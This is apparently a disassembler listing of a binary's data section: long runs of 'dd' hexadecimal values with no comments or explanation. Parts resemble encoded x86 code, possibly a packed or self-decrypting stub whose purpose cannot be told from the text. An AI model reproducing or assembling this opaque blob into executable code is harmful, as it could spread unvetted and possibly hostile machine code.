		dd 54CD9BC2h, 0D0DE9B59h, 240232EFh, 8DE9B7Ch, 0E5779592h
		dd 0F3360B7Ah, 866E8872h, 0F0232EFh, 54C54D7Ch,	0BA8AAD79h
		dd 91C68AB5h, 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh
		dd 0BE4E1529h, 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h
		dd 83FE4DBAh, 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah
		dd 49C5120Eh, 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh
		dd 7975FF7Bh, 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h
		dd 7F5DF70h, 0B5FF4DBAh, 85BA6885h, 1F2FFBC9h, 0DA51FD5Fh
		dd 0F5133F71h, 85E94DB9h, 9774BD92h, 61F44D7Ah,	0E5743592h
		dd 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh
		dd 9775FC5Bh, 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch
		dd 0B69D561Ch, 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah
		dd 0E575FCF3h, 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah
		dd 487DF99Eh, 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h,	0D75FD7Ah
		dd 0CA022EEFh, 26C0707Ch, 5D734E0Dh, 2C7F518Ah,	58E002D0h
		dd 8734E0Dh, 0E574E592h, 0F8254D7Ah, 4B9D5779h,	548A0284h
		dd 5E75FC43h, 2C7FA5CAh, 0C7C53ED0h, 61274DD0h,	1A8BE192h
		dd 0FDCD9B85h, 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h
		dd 3C225792h, 0CB750C92h, 22FEA77Ah, 1AF63F51h,	9177747Eh
		dd 438A008Bh, 5E750592h, 252D4D7Ah, 69B65779h, 7802B1FFh
		dd 0A9C87D7Ch, 0F3734E0Dh, 0FCF8EC0Fh, 0BAC68AC4h, 5C61152Ah
		dd 1B9DFD7Ah, 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h
		dd 87DF9CCAh, 0F02B1F7h, 12C87D7Ch, 2F734E0Dh, 12F8F10Fh
		dd 0CDC68AC4h, 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0CBA66885h
		dd 0C3F8FBC9h, 29C68161h, 3D6DF9F0h, 619C4DB9h,	8E9D562Dh
		dd 0A875FD7Ah, 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 29C68AB5h
		dd 96514ACEh, 74C1FF0Eh, 4E13F2CAh, 0F275C992h,	279DAE7Ah
		dd 0E675FD7Ah, 0BEB5FEF0h, 25B5F179h, 68B65778h, 780232EFh
		dd 0EA917D7Ch, 42F539FAh, 2EDE9B75h, 415A15D1h,	0D52F0285h
		dd 0ACB7D6BDh, 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F4C68AA9h
		dd 0EC760F7h, 0A0F8FBC9h, 4ECD3E39h, 0D075FD7Ah, 24022EEFh
		dd 0CEB57E7Ch, 1A8935F1h, 410232EFh, 8E97577Ch,	43BE15B9h
		dd 1DFF0285h, 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch,	1DB61608h
		dd 0A7890883h, 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 535E17FBh
		dd 0EAFCFBC9h, 5CF7D86h, 0E5734E0Dh, 0F2EC7975h, 73CDFD7Ah
		dd 4375FD7Ah, 0ED022EE8h, 0ADFCBD7Ch, 91C68AADh, 79F835F1h
		dd 0E3C68185h, 85BA6F85h, 7FFDFBC9h, 4801F3Ch, 5E75FD6Dh
		dd 58A27F79h, 1A35FBC9h, 78090EE0h, 0E1B67E7Ch,	4B22FEF3h
		dd 7975FD64h, 0CBA27779h, 0ECF8FBC9h, 29C6819Bh, 2F2B5989h
		dd 0CB75FD72h, 92A66F85h, 0AF6FBC9h, 7185897Eh,	0BC72447Ch
		dd 5A7DFD7Ah, 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h
		dd 0F275FD76h, 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h
		dd 7F44F972h, 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h
		dd 9C75FD7Ah, 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh
		dd 7867C92Ch, 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah
		dd 2F75151Ah, 162FFD7Ah, 7808EF90h, 3ECF707Ch, 79734E0Dh
		dd 71CCF50Fh, 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh,	240226E7h
		dd 0D3497D7Ch, 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h
		dd 475FD7Ah, 523E17FBh,	25F8FBC9h, 0CDC68AA1h, 5C7D80F1h
		dd 0F275FD72h, 0B0145989h, 0DC75F9B8h, 29AE40F7h, 0EF46FBC9h
		dd 9775F5C3h, 0AADF0E7Ah, 58F89DB9h, 0F4C68AA1h, 7874C2FBh
		dd 0B000FC7Bh, 5F7182FBh, 5A74FC7Bh, 969E0479h,	0ABB69C82h
		dd 92AE40F7h, 0F3CDFBC9h, 0C075FD7Ah, 0BC75FD72h, 9D145789h
		dd 0EFFE3DF1h, 0E09D78F7h, 0D08AFBC9h, 3BE9CA8Bh, 60000000h
		dd 1E4DBD8Bh, 0EF8306ACh, 8BC93304h, 8320BBC1h,	0C783EDB8h
		dd 8BE04h, 0E8D10000h, 0D323D21Bh, 0F4EC233h, 0FFFFF185h
		dd 78941FFh, 100F981h, 820F0000h, 0FFFFFFD3h, 0C88BC361h
		dd 0FE8h, 54358E00h, 2E896999h,	906F9157h, 0B2FEDA40h
		dd 0CE8h, 0FC2DCB00h, 0EA309640h, 5C9807E8h, 8B66529Fh
		dd 5E585BD8h, 0C681C68Bh, 6EC5h, 0BAFA8B66h, 1B86h, 0F88B36FFh
		dd 14E959h, 92B20000h, 92685834h, 0E5334C02h, 58548EFBh
		dd 9ED65E88h, 0E9814AF3h, 1D458C76h, 815EE380h,	0F575AEE9h
		dd 0E981F51Bh, 4C5BB635h, 0CFEF8166h, 81665111h, 8F00A2F7h
		dd 11E906h, 0D7B80000h,	47783D39h, 0E19FEA71h, 0F8092D86h
		dd 8147CAA5h, 0D2D5AFEEh, 6830F7Dh, 81000000h, 8CEA83CBh
		dd 0ABC6817Eh, 607DD2D5h, 1EA8361h, 0FF86850Fh,	0EE8FFFFh
		dd 0B9000000h, 0FB057148h, 8BF83FEEh, 0CE04B387h, 5B8EB167h
		dd 0C38165B5h, 0E83Ch, 39EB68h,	11E900h, 0EEA70000h, 9E33EF33h
		dd 1DAE6E06h, 597BC45Bh, 5E3A1CEDh, 667B866h, 890F33FFh
		dd 4, 8E51B866h, 0D981665Ah, 0F281AB43h, 6C41378h, 0C281CF8Bh
		dd 629247E6h, 0AE9h, 0A17E1900h, 0BFBC0B4Eh, 81BF8E74h
		dd 5E1239C2h, 36B86632h, 840F5277h, 5, 0A14289B9h, 0F9038F48h
		dd 6604EB83h, 819EF7B8h, 1EEh, 0A5850F00h, 0E9FFFFFFh
		dd 21h,	2280AF7Eh, 7 dup(0)
		dd 0D97E900h, 94680000h, 0E906B381h, 0FFF8FEA0h, 0B382C368h
		dd 0FE96E906h, 0F068FFF8h, 0E906B383h, 0FFF8FE8Ch, 0B3847568h
		dd 0FE82E906h, 0BD68FFF8h, 0E906B387h, 0FFF8FE78h, 0B38AA768h
		dd 0FE6EE906h, 8468FFF8h, 0E906B38Bh, 0FFF8FE64h, 16D70FE2h
		dd 4C8D49A6h, 17D60EFCh, 4E8F47A7h, 16D70FFEh, 36D5926Bh
		dd 5D8F3FFEh, 3CD060A1h, 18F14180h, 5541DDCh, 0DFB662B6h
		dd 488AFE8h, 0B777AF5Eh, 0CE02B1E0h, 13EF9335h,	23DB0D3Fh
		dd 0BE769AAAh, 74842E7Fh, 7A902ADh, 9D59BC35h, 0C67524F7h
		dd 0EF929E92h, 0AB7AF3DFh, 6AA24AFAh, 36EE1CAAh, 57A29118h
		dd 0A4E52E93h, 0A312298Eh, 0D27DF95h, 756F9F20h, 0C3032D03h
		dd 3F2F1E76h, 8CF8DCF6h, 0EF4CF470h, 8108A239h,	56E1C72Ah
		dd 3D9B149Dh, 4A000000h, 0FFF1B9E0h, 5E8D4EC5h,	8D0188A6h
		dd 0F6254F8Bh, 2F31C445h, 65A589E5h, 3F3B78D0h,	0D20AE0F6h
		dd 8844A412h, 0D70FFE48h, 0FE5CBD17h, 5F7BD392h, 0B553D733h
		dd 75939E8h, 0D5000000h, 8FDA4h, 0AD5EAE00h, 0FA477D6Dh
		dd 242F8CDDh, 7FBF91BFh, 25E420C9h, 3DEE8440h, 0F62CDC6Ch
		dd 340E723Ch, 0E76E4086h, 2F1001D4h, 927E4EE5h,	4884685Ah
		dd 0CC0C2288h, 95F6319Bh, 2A15AA4Ch, 8E3890A3h,	1E3AF63Fh
		dd 0EC129672h, 201639E8h, 9A000000h, 0F6254F8Bh, 2F3BF445h
		dd 955579E5h, 3F3FE820h, 0C2AE8AF6h, 0E8B9A226h, 0CBA639h
		dd 5E2A0000h, 0E6B171ADh, 4CFFBA56h, 0EF933618h, 0EE674965h
		dd 37F72FDEh, 0C7AA6881h, 0CFACCD5Ch, 91C60628h, 0B76C273Bh
		dd 5DB69E56h, 0D0E0691Eh, 5DB20237h, 0FACB61A1h, 0EF9287A6h
		dd 3AE9C7EBh, 69A9658Ah, 3A894AC3h, 0EF928302h,	0C405C12Ah
		dd 0A8479374h, 0E182426Ch, 0CD9C4F25h, 19AA8F7Dh, 0EF928CC3h
		dd 0CA0A2408h, 0BDAE960h, 50E52E95h, 7D538B60h,	771DD9BCh
		dd 336117A4h, 426EEBCEh, 12CA2191h, 508C63D3h, 624EFEB8h
		dd 561A2668h, 0AE6h, 2EEF27CAh,	74B5719Eh, 2FEE26C4h, 76B76F9Fh
		dd 2EEF27C6h, 6E9DAA53h, 25C777B6h, 749828E9h, 20C979B8h
		dd 3D6C25E4h, 0DFB45A8Eh, 0C80A7E8h, 0B677AF5Eh, 0E829E506h
		dd 254F8BE4h, 3BF445F6h, 5579E52Fh, 2A702C86h, 0E728A5C6h
		dd 7B53614Fh, 0D8514655h, 5D75AF1Ah, 2105F63Fh,	972DA945h
		dd 82739E8h, 0AB000001h, 0B171AD5Eh, 1E2AE807h,	0EAA47449h
		dd 732E1C34h, 0C33483B8h, 60982DEDh, 0A9EF926Ah, 0BD34F019h
		dd 73A05C8Dh, 733B9122h, 0AC80EF92h, 7B7E625h, 45EF2FE7h
		dd 0D30BFCCCh, 23B47013h, 92733C90h, 0E35081EFh, 0EF9273ADh
		dd 0DEF0DEF2h, 7BEFBE0Dh, 103CE52Eh, 0FB2A80D1h, 1DA88949h
		dd 8C48AD24h, 356435E6h, 3E865286h, 82B39FF6h, 0F63E864Eh
		dd 8D49A393h, 40C9E74Dh, 287D2291h, 0AE82EBCEh,	2348D77Dh
		dd 0AD2BE15Eh, 0EA4F524h, 9C693B6Bh, 36DAE879h,	0A84777FEh
		dd 5DEEBF6Ch, 0FCED2D07h, 4F876454h, 820B258Fh,	0F2411041h
		dd 0FCED2C9Eh, 7646CFE3h, 71AD4397h, 0DD351BB1h, 6862451Fh
		dd 0B7C589B5h, 9D000009h, 0CB7BBA72h, 9F2FEE26h, 0C474B571h
		dd 9929E824h, 67BBA72h,	9D59B0FFh, 0C2FAEC5Ch, 0A75FB303h
		dd 0F935D666h, 93207138h, 0E8DFB33Dh, 5E29A582h, 763771AFh
		dd 0FACAE601h, 44A515D4h, 5E454988h, 437B6DADh,	0AE14BE6Dh
		dd 4225E89Eh, 0D159163h, 0EA3FB225h, 69E0CE06h,	30EC1DABh
		dd 0CB01B2E3h, 10EF9266h, 0B4D413Ah, 9BB5B839h,	85F4D112h
		dd 7988E54Fh, 4D1B5112h, 88F72D9Eh, 6844EF92h, 0AAC004E1h
		dd 964BCA79h, 3C10E52Eh, 0D73B8BDCh, 0BBFB51E2h, 6C40F63Eh
		dd 0A1288242h, 7FCA5992h, 38529608h, 0ACD58EBh,	7E5295A0h
		dd 0B459E9BEh, 8B4B8364h, 63860F21h, 833BD1A7h,	7CCD7EADh
		dd 19C4073h, 5AFFE2Dh, 19377h, 97CDFCB0h, 20AD5FF6h, 5FF63D93h
		dd 0B9AE82ADh, 0F685DB68h, 0E6CAAD5Fh, 0D511FAC8h, 0CC3D8D5Ch
		dd 9D73C310h, 0CB01B261h, 10AD5FF6h, 2776B53Ch,	40942776h
		dd 8DAD5FF6h, 0F63C90A1h, 5081AD5Fh, 5FF6ADE3h,	0F0DEF2ADh
		dd 0F63C9023h, 0AD81AD5Fh, 3BF31424h, 0D50F1FD3h, 0C18DB118h
		dd 88Ah, 4A8B43AEh, 18D915FAh, 4B8A42A8h, 1ADB13FBh, 4A8B43AAh
		dd 6A81CE37h, 29C373B2h, 709C2CEDh, 24C575B4h, 316029E8h
		dd 0DFB24E82h, 38B493E8h, 0B171AD5Eh, 0AF7C16D2h, 669E4EFEh
		dd 5565DCEFh, 0C6EAE52Fh, 8E46A515h, 0BC6DE44Eh, 0E524E00Ch
		dd 0BD7DB955h, 3F55D408h, 45E53FF6h, 1EDAF63Fh,	114A774h
		dd 0AEBDB87h, 30F066A0h, 15F70FEBh, 6B7EF7D9h, 0D8318747h
		dd 0AD44F41Ch, 0B4886860h, 805F8h, 0CC82B00h, 54907DCDh
		dd 0FC72595h, 568E7ECEh, 0CC82797h, 3A49B0CDh, 6ADA1BD3h
		dd 35854480h, 6CDC1DD9h, 0CB82437Bh, 0B1F3299Ah, 1F38E8DFh
		dd 254F8B93h, 575045F6h, 69D9E52Fh, 0D60AB980h,	1BF63F54h
		dd 85901937h, 32DF69A9h, 668B3BFAh, 93396EAEh, 0F2616A13h
		dd 0EE6E4690h, 9C074481h, 0F83BDE57h, 56F24192h, 1BF64008h
		dd 0CF0FC72Bh, 2C8B4B65h, 0D23F620Eh, 0C463C91Ah, 0E824C881h
		dd 511D01C0h, 70A81BD8h, 79F63F86h, 921704D3h, 0E168752Ch
		dd 7EADC704h, 30489C2Fh, 0B995F640h, 0E252E130h, 6FF64030h
		dd 0DD328243h, 0F454E121h, 0DF6402Fh, 0F11E432Fh, 32257BC8h
		dd 9E4FF640h, 1B0CA666h, 60CA1937h, 6AAB9FEDh, 9022AF8h
		dd 525C5306h, 756951Ch,	0AE9C58B7h, 3D0D8440h, 61D414D0h
		dd 0F63F54B7h, 0E3B6D2F0h, 44982B0Eh, 89F63F54h, 2F4A8BA5h
		dd 45586ECh, 3F5461B7h,	0B082AEF6h, 0C7169F57h,	0CC82696h
		dd 0DCEF66CCh, 0F63F5485h, 74A81BCAh, 9CF63F54h, 8EA4B36Bh
		dd 53940ABEh, 537D53EFh, 13972693h, 3F1B621Eh, 5133B753h
		dd 36674449h, 0A1234F85h, 39B09C6Ah, 191B6h, 4F8B3A00h
		dd 17A7F625h, 4AFC3CF8h, 1AB6BA3h, 2095A62Fh, 0ADE52F5Ch
		dd 9E25281h, 4BBC0CCDh,	55BB5F8Fh, 5999B799h, 0F70456ECh
		dd 0AEDAFA6Ch, 0BCA02EBh, 0D46752BBh, 7D860980h, 0FCFE1CDh
		dd 0C501E858h, 6AA94Ch,	0C92090C1h, 54B4840Dh, 6FAF6784h
		dd 7C2BEBC5h, 0A11FE3D6h, 0C34AB5F6h, 31E21AF3h, 26AF6781h
		dd 78B455E5h, 1349FAABh, 587D85F0h, 0EFE63A89h,	72B7D85h
		dd 0D762A029h, 0E701798Fh, 2C711D3Dh, 93C203BBh, 0A61B71C2h
		dd 4C60F010h, 0DE578F7Eh, 1C1FDEEh, 18CBA162h, 448440A8h
		dd 5B667EEh, 0F010A5CFh, 41F1301Ch, 0D1B272AAh,	18AB7812h
		dd 0F010A5C8h, 0DD3380D1h, 22F010A5h, 14D03C0Eh, 65A4889Dh
		dd 0AF678434h, 39B06C9Dh, 0E424E009h, 0D003BB52h, 9F4E8A60h
		dd 25894967h, 0E1D8A8Bh, 644C62D1h, 0CED700D1h,	9557DE3Fh
		dd 21741032h, 0E42F1C8h, 6CF01067h, 81DC95DAh, 2A06117Ch
		dd 769B6402h, 4668005Ch, 5E7CD687h, 0A743684Ch,	11FACA43h
		dd 0CAAC06D5h, 6BF1CCACh, 0A9CA0881h, 60D3006Ah, 0F01038F4h
		dd 20DC0DBDh, 0D6C34AE0h, 628B3BFAh, 973D6AAAh,	0F06F281Dh
		dd 0F9C94062h, 0AF19D915h, 0F741813Dh, 7A1FDF17h, 5FF5ACD8h
		dd 9D4E137Fh, 0ED02B261h, 0D25BF131h, 8C48A111h, 86EC2F4Ch
		dd 427EE655h, 2F03F010h, 7AB25EEEh, 701AD9BAh, 0A942F2A3h
		dd 8E07AD6Dh, 104237BDh, 29E8C4F0h, 0E61EC878h,	0AD5EE36Fh
		dd 11D5B071h, 0E21BA87Bh, 0EFE52F51h, 4CA010C3h, 0B0005190h
		dd 974FBC5Ch, 5AD3FD57h, 8E4E866Ah, 904329EDh
		dd 0DB79CA23h, 0A87B57EBh, 7A164AF9h, 775BFCEBh, 0F138A35Fh
		dd 0C84149F1h, 0BF0C5D0Ah, 0FCEB5969h, 87477F93h, 24163A2Dh
		dd 60CA0AC2h, 4982DAE9h, 0FB3FFCEBh, 0DCF14291h, 0A1F2878Ah
		dd 12FB4D8Dh, 0A09C32DAh, 78446F0Ch, 4BD34h, 0D410E300h
		dd 8C48A515h, 0D70FFD4Dh, 8E46A616h, 0D410FF4Fh, 0D2916815h
		dd 0F242833Bh, 0AD1DDC18h, 0F4448541h, 531ADB13h, 0AE5BB102h
		dd 87A0E8DFh, 254F8B0Bh, 35AC45F6h, 9DB1E52Fh, 37B1E85Dh
		dd 6541F63Fh, 0B569ED09h, 0BB6339E8h, 0EF000000h, 9336B35Dh
		dd 74B05DEFh, 0E3301EB4h, 35CB01B2h, 3C10EF93h,	3EAF9DB5h
		dd 0E5224786h, 81EF5C8Fh, 0EEF9335h, 36386CDFh,	0A985EF93h
		dd 0BA104787h, 0FCF59BDFh, 0F1C14823h, 781DDC18h, 459B28BFh
		dd 8AEF9381h, 0E85B88A6h, 0EF93817Ch, 5BED2D01h, 555F7CB2h
		dd 0FAB5B669h, 0E55607D4h, 0EF93F0AFh, 9A59D0FCh, 815238FFh
		dd 0C6A8702Bh, 0B7563736h, 3B15BF7Fh, 823263B2h, 93AB36Bh
		dd 0EF936EAFh, 65D0103Ch, 0EF93AF2Bh, 820A6644h, 0A4602945h
		dd 73BD1F2Ah, 6CDF8E5Dh, 0EF93E938h, 739BA985h,	50E332BBh
		dd 0EF93E9D8h, 309A4965h, 0A156B500h, 9754DDD1h, 0CDDDh
		dd 4F8BD700h, 5045F625h, 1DE52F57h, 0A547F131h,	0BCDA869h
		dd 0CF01B261h, 1CF63F54h, 0A45F030h, 0E8F63F55h, 2271953Fh
		dd 0FB6AE737h, 0D8345072h, 39E8B15Ch, 9554h, 15BFD800h
		dd 0F0272961h, 0C498B076h, 0AB9CC2E5h, 72B451D8h, 299ACB18h
		dd 0EF92F8F3h, 24E00838h, 18D4380Ah, 2AFB72D8h,	92F84399h
		dd 64A488EFh, 0E8C86233h, 9D7BFE21h, 6DA0E3Fh, 0B27EF93h
		dd 7356BD8h, 567AEF93h,	0C1FDEFDFh, 0C9A36500h,	6FFA91Ah
		dd 200CEF93h, 46FB55E0h, 8665EF93h, 46CC00B3h, 3D11EF93h
		dd 8365D313h, 7FA38B4Bh, 53715213h, 0E671B737h,	9346FF55h
		dd 4E604CEFh, 47862E9Dh, 0A18BEF93h, 0B98FBF09h, 0C81B35F4h
		dd 0DF568E78h, 0AD5E101Ch, 0E607B171h, 0A14DFD2Eh, 0FA13A565h
		dd 0A665ECC2h, 0BE6D07C3h, 2F28580Dh, 4989A5E5h, 405AB41Eh
		dd 0B4A6F46Ch, 0FFD60E3Dh, 80A4F63Fh, 7D8C08E4h, 498439E8h
		dd 8000000h, 66234F8Bh,	633030E9h, 4EFD2E00h, 0E52E46FFh
		dd 0C414F848h, 802AEA22h, 1E3227AEh, 0D03989DEh, 0F77ED414h
		dd 3E4B8CC4h, 13B96EF6h, 90A4F3E2h, 0A5EED5Fh, 57F63E45h
		dd 0FEDC557Bh, 0BEF27692h, 0CDF639EFh, 7A000000h, 0D7E20FBFh
		dd 93363064h, 7F517DEFh, 0C92715BFh, 0EE67CD0Dh, 31F12DDEh
		dd 0FF37D666h, 684A1ED7h, 980A600h, 0DA1AD239h,	0B25F7B6Ch
		dd 8C4C8866h, 62C80826h, 0D13A8C4Ch, 4D67D415h,	96EF92FAh
		dd 8009C526h, 4C9F57B0h, 46E904E6h, 0E7D54389h,	0A309C905h
		dd 0B059E92Ah, 13D7B474h, 0C019AA79h, 0DE52E66h, 4185E021h
		dd 19A9F82Bh, 80B33AF2h, 0EBCE0B53h, 17A77458h,	0ACFD3CF8h
		dd 0A835DA06h, 67EEB79Eh, 947CB857h, 68620500h,	0D3A4E8D4h
		dd 0F9000001h, 0AF1FDE16h, 0FB4B8A42h, 0A818D915h, 0F5458440h
		dd 621FDE16h, 0E11DCC9Bh, 0BE769020h, 0EB23CF7Fh, 0B5719A2Ah
		dd 0DF6C3D74h, 0E8DFAB89h, 5E7DF1D6h, 6B677AFh,	0E4E829E5h
		dd 0F6254F8Bh, 3DF917A7h, 3B3687B4h, 97BBE52Fh,	3FAAE257h
		dd 6C48F63Fh, 0B960E400h, 0D86839E8h, 0B9000000h, 0A32AE209h
		dd 71AD5E2Fh, 0C1FD12A2h, 0E022AB01h, 33EB07B7h, 0E0D059F3h
		dd 0B80DCD09h, 0EF933080h, 46873FA8h, 9048A717h, 2983437Bh
		dd 0E46DC707h, 3BFB33D4h, 25F69C58h, 0E824C474h, 3EFB5261h
		dd 6C40E52Fh, 660CC8ADh, 0E83A06B5h, 0B787EBCEh, 0F55F9F57h
		dd 50B808DBh, 77FE5494h, 3FF716A6h, 9F05AFFEh, 510ED999h
		dd 65C25564h, 2D639D4Dh, 0B97594A4h, 62584951h,	7B370B68h
		dd 0F6h, 3EFF37DAh, 64A5618Eh, 3FFE36D4h, 66A75F8Fh, 3EFF37D6h
		dd 0FEEDBA43h, 55B707C6h, 4E85899h, 50B909C8h, 4D1C5594h
		dd 0DFAAAAFEh, 5CD0F7E8h, 866BAF5Eh, 0BD7DB952h, 53F93917h
		dd 35DD3380h, 0E22EF93h, 1AB0E120h, 24B3EA39h, 0D3DB4E7h
		dd 14D03CDCh, 5EF7FB3Ah, 7B171ADh, 8AEF2EE6h, 47F7244Eh
		dd 0C1756AA8h, 0AD783137h, 60E94383h, 0B05A02B1h, 4B67E527h
		dd 7B6CDC8Bh, 0BA7AB25Fh, 87B73E10h, 0A65EB266h, 10F94988h
		dd 0FDAD07D4h, 0B64D8B9Ch, 5529019h, 5C9C58B5h,	0EC28C4F6h
		dd 0CAA5665h, 0F6D6925Ah, 0F226C79Ah, 0FAC8E01Ch, 0B0CB4C4Ch
		dd 3564A58Bh, 0C636B09Fh, 9C15B449h, 43833BACh,	19D915F5h
		dd 49C56FBEh, 0A31F1F3Fh, 0ACD8FA73h, 32D800E9h, 0ECE06E6h
		dd 1D4A8AA4h, 7A007AAEh, 0C5EBC71Ah, 719A2AEBh,	33975B5h
		dd 33000000h, 0B35E7200h, 0DC0DBB7Bh, 0BA56E020h, 9274C202h
		dd 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch, 8E7CCA0Ah, 0CB209656h
		dd 52DDD313h, 0C281E289h, 4, 8704EA83h,	248B2414h, 0E0895024h
		dd 405h, 42D00h, 4870000h, 0C895C24h, 0E1895124h, 4C181h
		dd 0E9830000h, 240C8704h, 243C895Ch, 7FBCBB53h,	595306B3h
		dd 3C8B545Bh, 4C48324h,	8904EC83h, 478F240Ch, 2434FF08h
		dd 4C4815Fh, 0FF000000h, 81592434h, 4C4h, 0F116E900h, 49C0FFF8h
		dd 8C9FB86Eh, 0C50306B3h, 6F74E0FFh, 0A2B72B67h, 0DE2074ADh
		dd 0D64F5743h, 22E459ACh, 2643273Dh, 66442D9Eh,	74F16EA3h
		dd 0D7BB6EF1h, 971D1C67h, 76067585h, 0A8236422h, 0DF1D07EDh
		dd 4E3E6834h, 566555DBh, 13E8479Ah, 25000000h, 3912DE8Eh
		dd 2B7DFB62h, 0D20F0671h, 467C0C16h, 8E0F1D4Bh,	0Fh, 8E951h
		dd 15E00000h, 74E8B1DAh, 5E5F3131h, 55B3BF66h, 7364C681h
		dd 8B0F0000h, 0
		dd 0ED8530B9h, 9EF1817Dh, 0E97DED99h, 0Dh, 4353E798h, 0BBE1DA65h
		dd 0FDF02C2Dh, 0F1E8B14h, 58Ah,	0E8816600h, 0F38150DFh
		dd 2180CECBh, 493FBF66h, 2B8EB81h, 10BF2FD4h, 8111B244h
		dd 214D2CEBh, 5830F6Ah,	0B8000000h, 1BEA1D8Eh, 5BBA6653h
		dd 60068F13h, 0D8BF0F51h, 1A2DB858h, 83612605h,	0E08004EEh
		dd 1E98197h, 0F000000h,	0FFFFA885h, 8D43B0FFh, 0B38EBB8Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 4D70DE3Ch, 2F0D8D89h, 6A06ACh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 150424h, 52420000h, 0C7F852C3h
		dd 0AC1E0585h, 597406h,	9DEA8100h, 0C71F608Eh, 0AC27F185h
		dd 6, 39858900h, 0E806AC13h, 5,	1B3F4746h, 1234BA51h, 0FF5F5A4Bh
		dd 0AC2DA1B5h, 0D68B6606h, 0BF995FFh, 6A06ACh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8BBDC3h, 6AC0BA9h, 6AF1BE66h, 95FF006Ah, 6AC2145h
		dd 28EBC08Bh, 0F8A49F87h, 0EFAB8536h, 551348FBh, 171B7534h
		dd 0BE10B64Ch, 45785B31h, 9560094h, 0D8A7C6B3h,	523D5B14h
		dd 67E247Eh, 0ECE9h, 0
		dd 0E7AC3700h, 0E75CEB77h, 0E73C4977h, 0F7E21F77h, 0F7E30077h
		dd 0E6000077h, 277h, 5 dup(0)
		dd 0E7A5FD00h, 77h, 2Bh	dup(0)
		dd 200h, 39E71400h, 0F625A116h,	31629A25h, 10624CB1h, 28507B1h
		dd 0CFD7DB52h, 14EC1E53h, 0EC668832h, 0BE3F9B1h, 6066249Eh
		dd 3CDB923Bh, 15602438h, 46365D46h, 4DEE2B9h, 9C661136h
		dd 0B96E01B7h, 71FBC934h, 0EA608C90h, 963E4AE1h, 0B96CA18Fh
		dd 2124434h, 4DE7162h, 9C661136h, 0B96E01B7h, 46FBC934h
		dd 0EA608CADh, 1A3E4AE1h, 156683B0h, 0FAE72432h, 7EF9666Dh
		dd 74A9A63Dh, 0EDEDEE52h, 156656DBh, 1DF00A32h,	3F91EE3Fh
		dd 6F894C0Dh, 8EFCF8CAh, 744BCF22h, 156E9C3Dh, 9C698832h
		dd 15664430h, 0F9E74352h, 15661136h, 4D428CBBh,	520DFE52h
		dd 0B1D14483h, 1CDB9253h, 15603BBDh, 1549C03Dh,	98932232h
		dd 0A61B76B7h, 0C5997034h, 82E3C9CEh, 0FC60914Fh, 1566113Eh
		dd 1DFA7280h, 1D25CC71h, 0FF287C82h, 7306C1CDh,	7306DF8Ah
		dd 70B7AAB3h, 2CE3E453h, 4360BD01h, 156C083Dh, 9E064432h
		dd 15E92DC1h, 74661132h, 0BDDEDA5Ah, 0A099BCAEh, 13CA033Fh
		dd 156E9F3Dh, 0E0068832h, 71D00689h, 90EB4339h,	13C9781Bh
		dd 0C6E67152h, 0EA9A2551h, 0FEE642E2h, 10EB1E1Eh, 73668832h
		dd 0C1559EB3h, 0A4E3AB53h, 1A60BD2Eh, 15669BBFh, 1568AD32h
		dd 21912232h, 10AEB51Dh, 3C412CEEh, 8BA475B5h, 255FA7F5h
		dd 1566179Eh, 0D39E8832h, 0B9557DB7h, 48F6734h,	80661132h
		dd 5A7CB9FDh, 0F23D328Ch, 0E1DDE0CEh, 604EE307h, 15606152h
		dd 64524432h, 3099E96Bh, 156602DAh, 0A3692232h,	0F9CC6953h
		dd 0BD9673ABh, 0B7A31DE7h, 2C9F4905h, 5FB0C554h, 7D077940h
		dd 9B14785Bh, 1572013Dh, 9E064432h, 156CCAE5h, 0DE981132h
		dd 69805D08h, 0F27290D2h, 0A0994369h, 13CA03B3h, 156A6052h
		dd 854E4432h, 625DB0D1h, 8EBEA5FBh, 7406CF6Ch, 10E94B6Dh
		dd 73662232h, 0FD73D7B3h, 0EAE30553h, 0FC60E808h, 15662226h
		dd 8AE0A27Bh, 68F3329Fh, 0A83ECBE7h, 0B0ED84E1h, 0B2168949h
		dd 75B677CBh, 9C079AB9h, 0B979AFB7h, 138F7134h,	5A668832h
		dd 5EFD170Dh, 0E4ED44A2h, 94007153h, 0FC460CF9h, 15664420h
		dd 8CC37366h, 0EB62724Ah, 3F0A1F86h, 0AF5A9D74h, 0D307F85Ch
		dd 0B95528B7h, 7D9FCB34h, 89012F6Ch, 1573AB3Dh,	0FC061132h
		dd 1566883Ch, 1A3A2C70h, 8D70A4FAh, 267A6577h, 0EA076F07h
		dd 0B974C587h, 90EBDA34h, 13CA2BCDh, 0B59F3652h, 46061D4Ch
		dd 0E1129D68h, 74075B36h, 750658CDh, 1566CB3Dh,	4FDC2232h
